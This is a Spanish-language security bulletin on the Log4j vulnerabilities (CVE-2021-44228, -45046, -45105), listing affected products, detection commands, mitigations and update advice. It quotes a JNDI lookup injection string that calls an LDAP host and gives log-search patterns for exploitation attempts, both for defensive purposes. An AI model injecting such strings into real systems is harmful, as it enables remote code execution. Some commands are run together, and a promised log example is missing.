BOLETÍN DE ALERTA

Boletín Nro.: 2021-36

Fecha de publicación: 10/12/2021

Fecha de actualización: 20/12/2021

Tema: Vulnerabilidad de ejecución remota de comandos en la librería Log4j de Java

Librería afectada:

- ***Log4j* desde el 2.0 a 2.16.0.**

Descripción:

La vulnerabilidad CVE-2021-44228 de ejecución de comando remoto de criticidad 10 afecta a la librería *Log4j* de Java. Software como *Apache Hadoop* (software que permite el almacenamiento distribuido y el procesamiento de grandes conjuntos de datos) *Apache Spark* (software de procesamiento de datos orientado a *Big Data* y M*achine Learning*), *Elasticsearch (motor de búsqueda utilizado para análisis de datos) o Kibana (Software para visualización de datos utilizado con Elasticsearch) están afectados por esta vulnerabilidad*.

Las características de *JNDI* utilizadas en la configuración, los mensajes de logs y los parámetros no se encuentran protegidos contra ataques de *LDAP* y *endpoints* con JNDI. Un atacante podría controlar mensajes de los logs o sus parámetros, así también podría ejecutar código malicioso desde servidores *LDAP* siempre y cuando la opción ***message lookup sustitution*** se encuentre habilitada utilizando el siguiente *input:*

${jndi:ldap://example.com}

Actualmente existen varios software que utilizan la librería *Log4j* de Java, entre los más conocidos podemos citar:

Apache Hadoop versiones anteriores a 3.3.1

- Apache Spark versiones anteriores a 3.2.0
- ElasticSearch versiones anteriores a 7.16.0
- Kibana versiones anteriores a 7.16.0
- AWS CloudHSM versiones anteriores a 3.4.1
- Symantec Endpoint Protection Manager 14.3
- Azure DevOps Server 2019.0

- Azure DevOps Server 2020.1

Para visualizar una lista más completa de los softwares afectados visualizar el siguiente enlace.

La **CVE-2021-45046** es la segunda vulnerabilidad crítica reportada que afecta a la versión 2.15.0 de Log4j, ocasionado por el parche incompleto distribuido para la CVE-2021-44228, el cual permitiría crear datos de entradas maliciosos utilizando el patrón de búsqueda JNDI. La explotación exitosa de esta vulnerabilidad permitiría a un atacante realizar un ataque de denegación de servicio (DoS).

La puntuación CVSS base cambió de 3.7 a 9.0, este cambio se debe a que la vulnerabilidad además de un DoS permitiría ataques de ejecución remota de código (RCE). Cabe señalar que solo los diseños de patrones con una búsqueda de contexto (por ejemplo; $$ {ctx: loginId}) son vulnerables.

Actualmente ambos CVE están siendo explotado masivamente por varios grupos APT, recomendamos mitigar las vulnerabilidades y subsanarla lo más pronto posible y/o estar pendiente de las actualizaciones de software que dependen de esta librería.

La tercera vulnerabilidad identificada como **CVE-2021-45105** de severidad alta con una puntuación de 7,5, afecta a las versiones de Apache Log4j2 2.0-alpha1 a 2.16.0, se debe a una falla de protección de la recursividad incontrolada de búsquedas autorreferenciales. Cuando la configuración de registro usa un diseño de patrón no predeterminado con una búsqueda de contexto (por ejemplo, $$ {ctx: loginId}), los atacantes con control sobre los datos de entrada de Thread Context Map (MDC) pueden crear datos de entrada maliciosos que contienen una búsqueda recursiva, lo que da como resultado un StackOverflowError que terminará el proceso, ocasionando DOS (Denial of Service).

Impacto:

Un atacante podría obtener control total del servidor afectado a través de la ejecución remota de código (RCE).

Detección:

Para comprobar si es probable que su aplicación esté afectada, se puede verificar de las siguientes formas:

- Si utiliza alguna aplicación o servicio desarrollado en Java es importante contactar con el equipo de desarrollo o soporte para saber si pudiese estar afectado o si existen actualizaciones al respecto. El equipo CISA ha preparado una lista de software que están afectados por la vulnerabilidad, puede encontrarla en el siguiente enlace https://github.com/cisagov/log4j-affected-db.
  Comprobando la versión de Log4j y la versión de JVM:

  La versión de Log4j: Todas las versiones 2.x anteriores a 2.16.0 se ven afectadas.
- Si la versión de Log4j es inferior 2.16.0 y la versión de JVM es inferior a:
  - Java 6 - 6u212
  - Java 7 - 7u202
  - Java 8 - 8u192
  - Java 11 - 11.0.2

  Cuando ambas condiciones se cumplen, es muy probable que su aplicación se vea afectada.

- Si no está seguro que utiliza log4j puede verificarlo con los siguientes comandos:
  - `ps aux | egrep '[l]og4j'`
  - `find / -iname "log4j*"`
  - `lsof | grep log4jfind . -name '*[wj]ar' -print -exec sh -c 'jar tvf {} | grep log4j' \;`
- Utilizando el comando gci en Windows
  - `gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path`
- Buscar rastros de intentos de explotación en registros logs en Linux.
  - `sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log`
  - `sudo find /var/log -name \*.gz -print0 | xargs –0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi)://[^\n]+'`

- Un investigador de confianza ha desarrollado la herramienta log4Shell Detector con la cual es posible detectar intentos de explotación, puede encontrarla en el siguiente enlace: https://github.com/Neo23x0/log4shell-detector.

Mitigaciones:

- Revisar la página de Vulnerabilidades de seguridad de Log4j de Apache para obtener información adicional y, si corresponde, aplicar las siguientes soluciones:
  - En las versiones **>= 2.10**, la vulnerabilidad se puede mitigar estableciendo la propiedad del sistema l**og4j2.formatMsgNoLookups** o la variable de entorno **LOG4J_FORMAT_MSG_NO_LOOKUPS** en **true**.
  - Para versiones de **2.7** a **2.14.1** todos los patrones **PatternLayout** se pueden modificar para especificar el conversor de mensajes como **%m{nolookups}** en lugar de solo **%m**.
  - Para las versiones de **2.0-beta9** a **2.7**, la única mitigación es eliminar la clase JndiLookup de la ruta de clase: **zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class**.
- También se podría utilizar las siguientes reglas para IDS/IPS populares como forma de mitigación:
  - YARA https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.ya
  - IPS Trend Micro Cloud One - Workload Security and Deep Security IPS:
    - Regla 1011242 - Log4j Remote Code Execution Vulnerability (CVE-2021-44228)
    - Regla 1005177 - Restrict Java Bytecode File (Jar/Class) Download
    - Regla 1008610 - Block Object-Graph Navigation Language (OGNL) Expressions Initiation In Apache Struts HTTP Request
  - IDS Trend Micro Cloud One - Workload Security and Deep Security Log Inspection
    - Regla LI 1011241 - Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228)

- Se han lanzado las siguientes reglas para snort o suricata o ETLabs ha publicado en un tweet las siguientes reglas para alertar la actividad de explotación utilizando Snort o Suricata:
  - 2034647
  - 2034648
  - 2034648
  - 2034649
  - 2034650
  - 2034651
  - 2034652

Actualización:

Se recomienda actualizar el Log4j a la versión más reciente la 2.17.0

- https://logging.apache.org/log4j/2.x/download.html

Análisis de logs:

Es recomendable realizar un análisis forense de los logs en busca de algún rastro de compromiso del software, tal como se puede observar en el siguiente ejemplo:

Información adicional:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://logging.apache.org/log4j/2.x/security.html
- https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
- https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits
- https://success.trendmicro.com/solution/000289940
- https://explore.emtecinc.com/blog/apache-log4j-vulnerability-recommended-actions
- https://blog.segu-info.com.ar/2021/12/tercera-vulnerabilidad-en-log4j.html?utm_source=dlvr.it&utm_medium=twitter
- https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/